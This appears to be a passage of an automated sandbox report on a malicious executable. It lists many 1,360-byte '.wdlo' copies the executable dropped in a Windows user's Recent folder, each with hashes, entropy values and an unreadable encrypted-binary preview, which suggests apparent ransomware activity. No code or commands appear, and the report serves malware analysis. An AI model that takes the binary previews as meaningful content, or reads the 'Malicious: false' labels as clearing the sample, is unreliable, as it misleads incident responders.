Preview:	NVWZA.]......y....)......z.C@.[.c.. >."..Pn...K.w...7{5D....P4}.O3..q.....CI..#.....wsk.9..>` ....[.xo!0M.I.W..q<........I-'....W.MP..x..}..].3R...'._bV:o.......f.K..i..~.=W...+...r...N.}...-C.r...{.sF..R5...q..K...+..Y.....I.M.E...LL-...k...).Q..s....R..K.......Qe..&vG. .T..v..h.u..p..r>`p.......... .C......9!.d.N.$b.G.\$.-\|c.t..~..lCb{.D...^$..;Z.A}vnMG...@.f..(..`.tA..Q...c}G.......@...Z.9E.z....>Gd.xf.r.k.w".I(.3y].....Rs..\|z+.v....A.....f.5.........U...._t.../...I..%....WV@....q?.....b...v..uPD.J.......E.\|..^.,Guy.{.U.9.'.../Qk...5AH.F.T@"...[.?....vy:.......o ...mG..6Z~+...#..$r@.S....\|\...i....2]_(...O]\|.q..L..M,(.k.~'...y....T\|I..m.....:.'...f>:.1.v'.......v.+..fC:..R5.. t....h.l.L.D+...y....%._f.V.)..n..l..........#^.;..YL.h...1.v.4...0....7..V.n.,..-.....k.....,tjA5.+.....~.yM..]...p..`M_`N....CK...{Kd..p.I1.w....I...\|I8o.k........d.x...6].]..^.4...w...2....P....1.1...S...PA.C.$.TJ5 m...........h....~...*.aoA.....T..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.docx.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.842368808146713
Encrypted:	false
SSDEEP:	24:E9pJk//T1k/cE54F+xirS1FBvohg/MAT7Cju9Zm7ZM7Xhz8Oi9gO3zbD:G0m/5Lx8QBv/FT2A4ZP913nD
MD5:	3DB4333AE459CD704A1D1464536F3F7B
SHA1:	5CF4709247FEDDFE7BFF25E6CD42AE8ECB2D8570
SHA-256:	6010E0332F6C967FE8F0AFE1EB844BDC1159A47C075FB4708DFABEEEC58BCD2F
SHA-512:	80B851684F16D6B5D1E980B33AEFE3E0786EFF7E6C2915ED8262F30CD7C1EC63F5B0B6ECC3EAACF6223DBDEE5AA4A67C86F875DEBC574939DEA30C821BF89FDD
Malicious:	false
Preview:	NWCXB..q@p.....^~....t.....(r.'.....E....3...8.]KG..?.o...9QV...X..`...$.X....w..n..N.jLN.zw....".....I,.c.G.]./T...'kU.5.Y...N.}.f.&y1P...qo.RMH....}W.....,.].....Q....L.[.y.9.G..^ ..Q....UJ..pA..Hwa..\|...7CgBI.I.CM`.........".t..xo#[....L@...1.7.YC^...=CL....q...?...B...:...2~..x.W.1.....".?.0....{+.n..y.....O...q.8...QH..u...z..2e.)....b..aS....>.......D .7..z&..............)... f.qZ.$.HJ.c.8.(_...7.SoF..Kpb2..&.....C...6U?.G.%.C}qu..c.....x>4.2..6..<Ea.......S...,.N...+fZ.].^Z..)PXFW.^XW.........s./.sm\|.....NC..a...%...........x5.v(.ed...qH+....P...rnJtY.[tq.....4_1.T2...........z\.....W....%.{....X....jSq.]..?aJ..6RI!T..'=.=:`.u.....g.........~zw.{....... ......&.......z2.\|..'..K...e..z...{.r.....j.{..]...MA..Gx..j..Y..)~.7....O...:...1..3\............Z.....WjA....N...5....rm.q96..D~J.\(.&..U..^..._3..SQJ.A.F$..ynp..../...p..p.=..=..^.0...A.T...IK&__.....C.....[.<.^......P..".~..OGPP...4o......].I.....z...w$..~..q.l.....5....R:.,h1..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NWCXBPIUYI.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.879614493828691
Encrypted:	false
SSDEEP:	24:C5pBJB53+ACQBV3GJFzC9B/8D5cKOnly1Q2eGNeg9gGV/GTLNbIUp9xJQfjD4R2T:spfBt+A79B/8qUS2eG/9gu/0MKHQfjD7
MD5:	5A8F327AB96DE794841459688E1A9E25
SHA1:	F5944EEFC40243F2AE516F099237A35DD556917B
SHA-256:	AFD810E17C620334395A85DDD8F67A46D78729CE3B8E2F8D222366220C957411
SHA-512:	FFB6113E1921461FEA43CDC75CF497FBE671CA350F3108F98839093AD82B505D097DD6D89C4E9AA75B001DD9B8254483F09FA3DAEC821615C31D150AA53D05D1
Malicious:	false
Preview:	NWCXB'.?..s.<...?q.9.,..R.>....s.3".........li.....u..Z9D=...U.w...........hn...)5............f.R.[b....k......V.+E....=..R.......F.6..P[...G)a.}//...A....'<...g.....M....V..C.\|..R...1\|.U....(..+.7.u.x..b..t.k..{.... _h..........n].../...f..8.2.b.&.q..C...m.#.C.B,T..#....(fZB.K.z......lP...a..)X..a.e....+....Vr.y.,!....!......uh..J3........yb..d...:..k....R.S..K.e..b.6...MN....oM.t..M...Xf.F.../BBs_.k....v@._...q.]...{^=.s3.%..6..u.z.]....t8...x4T.3..v.vk..J...C.?.F.q........!.Z.....nx.!^..............>.v...S+j....m..2..`.d....\|..v..........I........t7o...X.F4..2.....2.....3^.../....m.mf..#.p)1?P.&f..;K.M:...1(T...........^.1;..U.E.y;..H......?...iF.....O.....2I..a&..(..qvw...qPND.u=.$..a.\|.......R@/.Z-...\|..<..."..........?yma.......u...O.0UO......".S.....w..pSP.....B.r{OG"\...c..t...d9S..h.O.#vt..n(.O.Z...v.!.{..%.q.Q....M`L.....?...ap...........\.C._..y.....Grog;.P.+...b,..9.6M.j.......k.%....Y.Y8./F>..,...m.@.d..

C:\Users\user\Application Data\Microsoft\Windows\Recent\NYMMPCEIMA.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857763970737385
Encrypted:	false
SSDEEP:	24:tUIlPxGi7Ib48yP6qO8UrRh2T73ELDweqWSrE6YM5ViobEP3zbD:CIlJ8yP6qxUF4/3EHU4MniWEP3nD
MD5:	B01A847E53E8C7B311B6BC0AB53121B2
SHA1:	5BF1B1E09961C25D1E00E9E0E5F737F75DE6E9D7
SHA-256:	F745A2FC006439EFD480EB25061CBB7CF352AEA317713648DA5744B796B4695B
SHA-512:	AE2D131D6EFA7B63DD165DAEA9EE23557790D0E9414B3606B07A3965AF4CAADBA174A07AFB5A606A8FE0FB738A97CF5E1110805F4D5AFB3AB2D67FA145ADC06A
Malicious:	false
Preview:	NYMMP?....%......]5.V..o&.\.B......M......:X.]&.7.)..._..@G..}[F.....T.[...i...n.%...J[.)...S...>.....?O...j....s[..3...d{a3............P%....A..)~....j./].."...}D.....t..u#.{.Hd.h.H`..+.......\....#nR......"..$+ze...a.cI..4t..^....i.._..P...9.%'....@tk.ss.l.. .h.X.lQGB.!I.cp,....v....{.hv...Z.h......X.Hu.....m.8.....1z...~.+..G........8C.2..ZL..;.c..Y...8.-z.dA).J........y_b...T.N...........'.3..H...JgS.j...$....L..{.B.\v.2..7.w..r.!..W.....r..I..x... .>....,...$W.O...b..J....J.!.X............B..+$..?..<.tCz...r.!9n....:..j`....-...+.a,P..[S....z.X,..~..6...6(..m.-[.....e..e.w&&....ta..6.'.BH.d....#3....z.Eo.-...,...@4h%....y.d!o...t.R...{....4.....;...RR..^........:.R..B....O/]x...j.74.{..`bb#-..-_D.?.'Z.K..,B%e..5..N!..ULAabC.#.g...Y......,u....vo..F5.Jg.q...R.....<#.+.}..c.d..qkc...a,2.(79..k]m<f.6Op.....h.........{...(.....,f.4....Y.;.zU.j3,.xb..........:.Z...J.~*...../J4.w...n0oQ...E...65Os.....ApY<"....9.wk.....@7....\.F.s.

C:\Users\user\Application Data\Microsoft\Windows\Recent\OKWJNJSPWE.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.862203585243067
Encrypted:	false
SSDEEP:	24:zBl0xxygeohTvhNrhtk/jUIS+e44W4WlhM7DKK+GLJG1X93zbD:9l0xgvaVQjUIxv4W4Wli7pLJa3nD
MD5:	4B6511B0A142732E749170C198FF10B7
SHA1:	FE4A0F06B15F447773A1A2C304E8420E487CA7C1
SHA-256:	B7886A98DF2BA502792A45FBBE3835FD931485E0FA319BA7339F23A20C71C174
SHA-512:	F3A8BDB6E4BCDFA6B8DA8A27747F91AE766B2869A0BF33B6E5FE971D185018B7DAC2A440958BE98E48A7767BF20540763B6531B4FCE7D47D843065791788DC69
Malicious:	false
Preview:	OKWJN...:...pw..C.]....B.k....L...w"M.v.....qm./kR4.R...r5A(...wW@d....Z....4;......;..k.@.H[....U5<.rp...3iQH3.x.... ..b....\|..0....G.&.n^p.`O...1i..%.4n\7?..J\|#...5m6.\u..v..2.......$.USn..........C.....3../...3B..DF....7O..>s.g.=.P...%std8.qq..h.H...S.i.\3>.........._....@.LX.Z....a.)._S.:.....H...wLLY.....]..c`......Q..e..D....@..`Rq...5....5s.T.."....s..wT......,+,O...VK..^...ji. .K .[.}....]....q.....:..8..Sv......H..........&..u...y........).^\|.....;,nI.pZ.t......?.b.ew..Q.."..".p._..;....f'-;.........+.5.v.G....R}+.....{..pjf.3b....s..WA.....{..b`Y......h.Q..+nFsIL.....d;\|:...K..^.KS..}....m.{S.XY.....(.:<q..."..aUB...+c.....2)7DH.K.l,.w...Xc(........k...Y.....(.....?.W}.<.B)..} ..`..pYjk..D...V.l^..%..w..._5..Tn.A..-(.*..:.....#.]...5...$y.h......[F+..i..R...2...42.,9.,...f.5.Q...M.g...\E6..d.j`........A&..e.y(FWE.=.x..P..n.u._##"...........l;]...eojj....Dp.p...R6..m..g.=.P.7(S..X.J.8..c{.z...@......7........%.......1..;....9.+o

C:\Users\user\Application Data\Microsoft\Windows\Recent\PALRGUCVEH.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.833396471165676
Encrypted:	false
SSDEEP:	24:VJjKah5SEpV/S9Idc+vaONjiodL74Skt2tYYV5S+03axM0ryyqc92bLEGc03p93D:VJRh5SEpcOdKON4Sxn03ax5F2bLjBZ9T
MD5:	EDB3E2A54A474332949CFA357CD1DFDE
SHA1:	25F76D37EBC361C48C1F06531AC6FF3C3A83827B
SHA-256:	FF21DC07843F6D5A195F05E95F3865E756B15FB0130617778C704774CEDC7B9D
SHA-512:	95FE3AF096625402AAEAA78E5C23656101D05F81EE92BAC34E9CCA9BD2E2FBB55FC347E54D779896CE045EB832C89B1CA73D17DF039AEC3B6DC5CADC6309F431
Malicious:	false
Preview:	PALRGi...Y.$e.....S{.\|.BN...xH..~`.}....._....1.....<..?F.d..b.3.)C.tR..j..._....B@. 3..R.Ke..Y..Eu.\y.....l.#^1.....<..;.L'u7L...(F.................c(.=....y&X..wF5..~...o..y.w...u.v....x.W._....e.....e.uxW._`i..L...Y....W.Q..7h.[0.zt:.......X.....5.1...x.._.....O.."P.X..E7>.4.lR+...q..L.....<Z^W.Y..].e.??...T.;p...js.aN.1..:.......D.."~,....C3..S.+...G..F .m......dq..S'.b..'..;.#..).d...a...+.CR.v:...l4.....3&l ......NA(.,j...d.9.O_...\|.7..9....o.....^....D<..].)..6c).,(....`.....M.u....."\|..6.U...g....SO5....ol...`.V.x..R..\..l..n...w16.....q^..B+F].......nf....Lyp.4A.m...O&a..$...^.>.\|i..p.......xW(...T.(i.....N.....p.....M.....w....4B3......2D._.1..p.,.;:3~......k..@O...&..a.\|e-...7...Z.la:..oH..M..l...6.....MA_.(..Z..K...4$.E. B......N...d.'.m..I......;m...s.,...f.Z.+*.H...DK..x.?H#..H......A,..P.(...2!w.}Ss\).y....[..Mi...{.zLSC...u...........]X..2t...-.e..8..$.e../=~....k.Hq.%..u.8....P...\F..(.V...Y]...p{b....A)..R..

C:\Users\user\Application Data\Microsoft\Windows\Recent\PWZOQIFCAN.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857964796324283
Encrypted:	false
SSDEEP:	24:5pXqeGGNHd1NDbE+PJYPIq1ZMihnovpShCRRLCcAGv+lLR6f/xQBF1Kyf3zbD:vaNobhbElL1GihovpSh2RLhnv+v6Xxqr
MD5:	06645D4C52FE10C9B30FBD6FF1C44B98
SHA1:	937DD1D7C366478CCF4EC8E43D593FB05DEF5F53
SHA-256:	73CF3D97098398887A69CF7EE723F74EBABEDC4AD79ACAF60855C49B9BA8D4B7
SHA-512:	6A4233E004C9373C5A525AA0E4631E217B9C8F62C13769C14A44C00C30279BEFAC6E542ED530C9AB3F17862D81439616043ABB85F724D45104162835BF80EBB3
Malicious:	false
Preview:	PWZOQ.......f...+v......}.n.6...v.xd.$.....\......z..;...>..)/..r.e......u.....u?.br.}JCp%q...t;...Q5.G.Q...+.....V73..'.e.!....c.h...ng....<q..w.......&<..i..L..,.S.:a.d.v.}9y.%...i]5d...uoOe.."'..>.`C...x..X.5Mh...MG.C.........:. .....Z&.....g-.a/..,..Y..+#.0.....I..Wk.<._..U-h...}w...!_>..DV....\|.....C..\|.o..G.+..E.A....>...D.9.k..W.x......v_.e........tn.....9.eSG....i\._d..&~.}`.j..`d}....b..q9@.9.4I.s.'..-.T.1...(....4G.H....g.e..Mt...3!.iu~.fJ...]K.......2O.?.@.....,......TJ.../y.B.M...7..,p......o.o..v..8.-6E..3#W..* .[.p.........mZ<I.5oi.?....G..^.X:../......z..d............@..`s.i.u....Y...y7Ez%.,.XE.4".k.=(..(....22........}y.......v..b.B.Q.........p`.. D&..^k.Y$C`cW..t..rz..._j.........q[..2.6..tE..t$.\...RX.J..q.w.R-r..._.. ......j,..zO.....@W....\.b...y&2.....\|.&9.3.H.m...+..HS..'.M..Fpt.y...yI...-L.O.I............fN..4../a...bT3M..6...%..*..&!a......2P.x..:.........K.)../._Y.,.+U..R.....T.v.x.G{.q..~.....3.O!

C:\Users\user\Application Data\Microsoft\Windows\Recent\QCOILOQIKC.png.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.855114919336486
Encrypted:	false
SSDEEP:	24:bRnUoLFgg80TaAdmZa8OHgPzJZ1ZlJ1agoHesY2awExnSxLEbrq9dJ3zbD:bW0Fl8uatgqzJXnHTaesx1E8VGUdJ3nD
MD5:	87416CFBEE3571D9C0E8E2295F6F8CCB
SHA1:	06A8FBEBDDCE17BB7FF39E93CAFAAC6028C073AA
SHA-256:	8BAD52E53950DF105A23D36BC8C93318175B75AA1E3149E0F2E89CF1B6B8B04C
SHA-512:	D3894B82FFF8ECC2B0D3247D4BC0B9F090B884341DABCC50D5CAA88F5072B61F74CCD94DC0E1CB2D711CC8335B2E3EB19B60864423E1243DEC2786ABB3E278F8
Malicious:	false
Preview:	QCOIL....X.P%.......X.?Y(..w...t,&.u\...=...K..;M..@..&...N92.(z...x.].ro{.O.h......?uzPyO.R 7....s.avE..bO{M.]..D..B\|M ..?VA......h y .\..&x..K.RI...}.F..N.9!R.q.h..XQiu!K....K.g?.L.y"D...~.E...7...e1b...-..qU0.H,..,..85..i.cx..$'q.7...<QCEOr..F"^sN..%h.=c.-.R.l.n.b:#..-..X.0.q&...;.Q....-....<.P9..:R...J..0.]\.d..Z..tx<E..k......l..Z...=...r..9O..P...%...>.j..^..]`..M.....g...j....2t....D:x...a+v.5.G..&...Z....y.m.W..wF....#.d.7.....B..:d>.I.>'$.RLqZ..p...^...^.$..j.....[H"..'..A....j.....x..z.D!'.2$..M........k...YP..+\|[.#3..(.-].0....yTj?......6..}..,......-.HJ...+..Qw^w...$.N..}e.6#$qk^.....AA.....>@SE.....x...K.......\|...y.<...N.b.[.).`q........\.x.........0....n..X.d^....D....>[z.n..4o.o..z..........-HL7.i...P1.Ww.!.1V....1x..21...l3E(z.{.....6..gq....:..T7."-...K6..D.W.'..r..Y....N..O...d'P.f]..../Z...8C_.#..r....Tt_..c...Ot.K.T..>..1...:.3.J.<y).k..!.%..p....p.N.-ER..9{'4.X.i?..`..4..&......V.\..r..Q.kU}....S.H.o.2.

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWGTYTLCKI.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.857467606166128
Encrypted:	false
SSDEEP:	24:pQTxw1onHqOiZFC4/PH8c+XizFCqAbZZnfZ3/EsxIqp0vkP1SZ3M7963zbD:pQ1ZnVsC4ngXisdX/EoR83M563nD
MD5:	E9C3D679C9C6B0F88449C8202000B87D
SHA1:	D621620DF97068FA126B4E1132BF7489192E72A2
SHA-256:	A9021ABA57B2E897897D6939E00486B0A4568AE1E196F156B205D8121690F801
SHA-512:	E4B442DF02196C12AD2FCBEB22826A28D1DA1C290A66F8005E7DA77229EA3A75B05ABD8981001B1D699DF8429F262A758E2CB7768E900F64391027161BB5D5E9
Malicious:	false
Preview:	TWGTY.....RE...^-..~\.Do7g...o.5..5.!!F$....a....X..\]fTC...nG.)....@e...0..,....qrN.Rt...\..c...\.A.f....P4.YX.r..Y...~...ti.'....O.=v_NM...%xU...s...../...X.<.w...'..F...:n7....~..:JO.....w....WS...G..s....k.\|....2....!9..\.6.B./._7..=C....=....B....l..:.w5...Ii.p...........R..O..j.UQ.."nO...z...0.c..Eu...Q(I...7I.i..u=.zj)..!.....9R....J..Q........5...Ls......A...]....f"%...+%a.+....~......-......}..X.........D. ..n.07.db....p7q.{)..~CF.5HM.......Lg;...To...6}e.y,.......6c.I....#D.`.B..L,....5..y.%..`.....&....Q8r....).t...k.........'.?X&.5.A\|.._w.......Z.Sm..[...J[.K.._ .;I./..\|...h'..%.4.Z..q1"..N..qG..`}.@Pk.Gku.L.kV.~..b...{..!._.j.K.V.$$\|.[..-d8.\|...BiM.......s..D...J.._.+..p..q.>..L.....m.i....b..-.....n0w..v......7".. ....5.,..Y...P..2.<Z!7...V->...=..>-2fL.3....2.k.-54..E%....i.!../.-.p........c.z;..ac....:.\|.E4.'.<~m.%..fi..V....2e...<.k..$....BNP.>7.Pg,..).......&.U.,..N4....;\|.b..[.KyTw......! ..............Q*

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWGTYTLCKI.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854076734124593
Encrypted:	false
SSDEEP:	24:9/C86g8bWIWB/RK1riIKekIYQoUHQ+9qjEiJGDcsYmD0xrIW1e3zbD:9l6gEk/RK1eIKO/1YIDcwDE1e3nD
MD5:	24167810D65733051F986548C1D925C1
SHA1:	71857E8D42239EEBCD0005366FCE57DB10F98559
SHA-256:	7F62EB2ECE87D513DBC6CF75D288829D574AD32399030D00C6F77E5536BB88D1
SHA-512:	005B52BAB472E9D912B6269EA3508699765C0ADCF3F1CA5A36F10141B15DAA29DBF6CE0E67EA571B0593FE3E4E2E728224720F61800F24EC26AA750750AD29EB
Malicious:	false
Preview:	TWGTY?.,.=..M4m...mSL...Nwz.).&>..;.D`..I....>j......F..{s..jL$.Z.........u..`....c.[.r..}$X./5P.\|......dt..._...d.:..v...0...7...f...rj.:(.V=[...f..E.O..Z.w.~....:.C.\...(.J?w...O(..b..i..........,....XIdK"...D...g.(..[..\|...K..Fs.=&...R.XA....g..I..S?.L...N.B...SD%..osd[.....>..,.:.^..<.q.....K..7K'..:.q4..+...Vl....`.[.(.....5.dp..av..".:.B.p8....O..I.L2.9.....<.q^...?...=.7...C}.Fp....fqE.{......".$..x.':......z..?...b.l.x#......S(....&.:.c=.m.T..4"x..W.O........{..b.X./..02M..Q......:..a..-........lr]j.R..p.@G....9=.E.V....,<.\.J.........).^...w...),.+._%.x.H.<...\|!~i.p,..(G.._.Z.f...".,^...wA......o.XW&.L.yH...(.*..N...J...6..y.y.L...F.....k.........^.J..>....c....r.L..g.8..G>.o.6I.\...vF.,..>=.F)-.u....l .....OK2......jth.../..dR.&.P1i..:..l6v..z.......$..D.S..xrxo....`.A]]_W.....<........."Q....U&.G.+..s].j F........R....c.,d.. \|.TPr.0.#....H..\.3....l'..2.\|T.=DUT...1....y.e^9...oK]......j..sjljE..v....e.....x....sb....4

C:\Users\user\Application Data\Microsoft\Windows\Recent\TWGTYTLCKI.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861766750830733
Encrypted:	false
SSDEEP:	24:qOT8K5huKfMQM3SmI9ULQT+IEeRkx7xBTonQiGIi+GJg1rdbSyKMX1wE3Zh3zbD:HvHwQYSPiLQTxEfBEQiGNJgHGyKm1wEf
MD5:	130BA44F9DB7C76DDA11EF991D47D496
SHA1:	663DEE2A7D21383274FAC42343C19CB0313EF48E
SHA-256:	85D8A4E78F8219BC47A6AC09E8FC26217B870373D0FF11A052FAF1573601FCF9
SHA-512:	991EBF2051E25DCCD7561152B71D1EB4EF534A1ECA53FC0B695215D532EC69BCFD334FF9D09BD5DFF6AB5D01BA9862194354154CBAB9F996C31ACA4EAC70E6C9
Malicious:	false
Preview:	TWGTY..{..-3D.....!+.8Ju.s.R...Q...O.=..v...Q...W.J.[.aw....P4.Z...=..b./dF.,N...~>.15.V.qu.T......D7.....=.....\|.....dB..h.l.<.....U[........l8\7.$'Q.4?<.v.J..%.Ve.......~W.K.q......)M)Ii.2..ik.Qu.j\|.....r.WT..A(.E..d.t......$Pa..%....Zx.y.1\.``...Z..K..zL...d.l...P..).../...<[.L...+,......y...._.....a..&>OT..s..x-...FPw..ml....p.>.......B)G.BP..'if=...^..8..8......$&.~N.rMF...'.1...G1..<.:2..{jT.A...l......G!..6...a6..........b%....(.+-......A[v..........n6.J.H...CL.Fa.8..8g@...y....(.......%.?.5.l.u.IM.vM"k..y......F0N.:.GK..K/....1..t.....1.}......!L$.cz..O.......rg.?@...wk-.e.,.N\|\|.i<R.=...'Q..<ye.V.o(..@...3..e..}q.:..d!fnn.....1......=.H.G..[.<..4f~}..0.....Y^..d5a....+.ySp..,...X.J.-X...d....bY..(..'s...-.A.V):n..e....F"eo......>...n...v.1.@.2u.w..X..N@..T.+.!v..........[K........L&v.p.M.u.R..#o.D...?.L..^..fp..1.PR.b..-m.M..":...`.JUk....Z.{0aPpb...zC.zHyG.......g....J....`..'....O..#".-..p.C..O.~.*P..@^E........y=..i.t7.WyrulU.#...

C:\Users\user\Application Data\Microsoft\Windows\Recent\TZKYXLJEWD.mp3.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.854289897622227
Encrypted:	false
SSDEEP:	24:XN9Fhkwb7Hjjs/YT5kXdYLS24WZGGE6o4dtPg/y1LQsiv4VVR50VlUS3zbD:d/pbjGYT50iLLo6outIyJQsiMR50zT3D
MD5:	8790DA690C7B272C3F943C998D27D9CB
SHA1:	2A18B24E3465BC28502627FC54989867BED14FA2
SHA-256:	9D0151E87D2022CC21B4F00B03638087D8DAEA0BB9699C08653F2E1020392915
SHA-512:	D0A488965EA5824B707C7A9F1BBF0DF834832D0B5345C99168902FF15D69D499A8F50BDD7FDE35824324152F90E4DF3CB84B9A49B361E21B5330B50ECC44EDC3
Malicious:	false
Preview:	TZKYX...jm.y8,._`Z....{...5...6..O....9..y.J...Uy.....St....iG.C.o.c.}Tq..HS0?.98.....=..5.B.E...;....G&._..l.F.i........?...O8vY...0=NJ..Q....G.l...;.CgO............6.jU..X........5.O.c..bZ=h...a.....I.....%...E,..Z.mH.....S.....G.t.>u...':`.m.F./J.....U..........>Y...jq....HE.u.A.i...k..b..d..bG...=E]N.&..;.7._._..zI.\|.IL.(G....W.FZ...l....C`............[3.4..5._.#F.fR...bKR..SV]..D..b...Y{Z...g...-'..A.....T.t.5...L..h....0KTz....3._.L5.p........:...8.I!..Q........H.<J...D....__o..U.... R....(`....v..R.@d....0...a....h...Yd..._..1Ba...x......XQ..^..r..5Y..E.,O..Vg0....E1$G{c.....f..jv.GC..sWJ.M...&^V.....D.....s....h,B......c;V`uA.y..p.%.IkA>.....E.D.(.?.gl_..O..c.......M..p.`...lD.._..."2..Rt.N...A.B.b.X..-]..+GF....&w.q.?.....I.@.0......#6.w.cR{1.VFf........$..\|..._/....\|..Hp4..F}L.Z..e.[me.;;+[.H.a.a.Q9..~.R)..G.CB.fbo?..zI.....oI.1~.....yQx....*@.0..-e.G...../.t0.3.:k...P.G..h..(+.S.y./..`N@...(o....h.P...i....,i b%.d..

C:\Users\user\Application Data\Microsoft\Windows\Recent\UFTNOTWEML.jpg.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.84681861230493
Encrypted:	false
SSDEEP:	24:BSl4fN3fjGm8ZST8HWTT47XYYz5pcZFFnUBEGygwMQYxFHAoYf692qex3zbD:BSaT8ZCxTT47nYfUBEGyg31gJ82qex3D
MD5:	091B2BA5651820989485CEE38E69276C
SHA1:	C16F8DADA960BDECC68D8A2ED8F944D8D4001517
SHA-256:	F552906436BA738D2CAB4858E379EEB7B62A5DB0DBCA3E6BA4ABB2EC359EDA33
SHA-512:	D3B80095AEA87EFE08E17A8D9E981BF287F175171E642801B595F3382F42A7F3E50D06A75D5DA2EF76CD8D654D638CB8B6F0DA6C7E71403F545D1C5663D2D0F6
Malicious:	false
Preview:	UFTNOq!.6.;e2.`..n.@`.. K...Vj...]...q.>...{.....j>.1....Qk..m.6N.a.'.I..4.........o$....dA....d...eT...O...H.M-.;..........{QJf:.v.8_...qt...;......@.(~..M..T.....y.p.Z.D..Z........0..Z2..-.e......}P......KJ7..a_.x.F-..."..d..Y..C..%.q!.3q...%BJ.........4....pB. ..9.....k......zi.QvR<.w.o..K.=wW....a.\|1.?.n.\|.......=....H.2m..D...yOb.k9....g.....G..r...[-mo.).t.?gd.....C.5.0......c...e...apT.cIU..>.9p7_c....O.Y..O.9...S...@...Ey<f.+Z......rL!...@.1.....nlO..u..k..W....=.=.}.R.....o.T.{.^.m.....m5...%.PM.).Y.Jh.>.n,...z.i@\|..$R.1.R.I...l.#...U..d..U.....;.....t\..V._..\|....Cza....Q.\....6.y.v.1E.p.......1.C ..\|.=#.y......B..\|.e.}.....$...q.15.5.P...Do...h.....R...5......B.V.b..%.vLvu..x..H.....g.. .i+....#zL.z8L..d..O] ....e._..fi.....y...Vc.?@m...V......~>.^..D.....A.-...g..."j....0.Qmao.<6Z...j...% 4..zg.D._..wO...J.....N@.S.P.h......3......z..g.e..;y.JH.\|y...*.6xzA.`r....J...9.a............:..IPL...@_t.X...t5.Ti....XZ.=(.... ...7

C:\Users\user\Application Data\Microsoft\Windows\Recent\VWDFPKGDUF.pdf.wdlo (copy)

Download File

Process:	C:\Users\user\Desktop\F8DB10513DB12A4BB861D7B1F52E56F5DE5F5DBA7614FDEE3DB67B191FEE85C6.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8597278947377
Encrypted:	false
SSDEEP:	24:kZ82vZo4ZhzYc4U3xkMRtCSaMJl3ZdbGcWeOTWfy0qQXghogKElCauaeFHR6aasT:ZNAhzcU5dJ3djbOK6zD6gKElQFHR643D
MD5:	3AB0A6AAB8E1E8C7CF005D464400CFF0
SHA1:	5E94255FE0792783455871968FCDA55D274D20FE
SHA-256:	9542000F88476C303FD26A0E639B894258767D89FCDDC25F86A75B580E2ED7A0
SHA-512:	794171D005761A36C4420D8AFF18F93A61C0F56DB6ECE1DF333FCF43FB22B0C282955E5C8E478571D77C72FBC8F036CBC586D2DB343E419E44CBB85F0D44ABE7
Malicious:	false
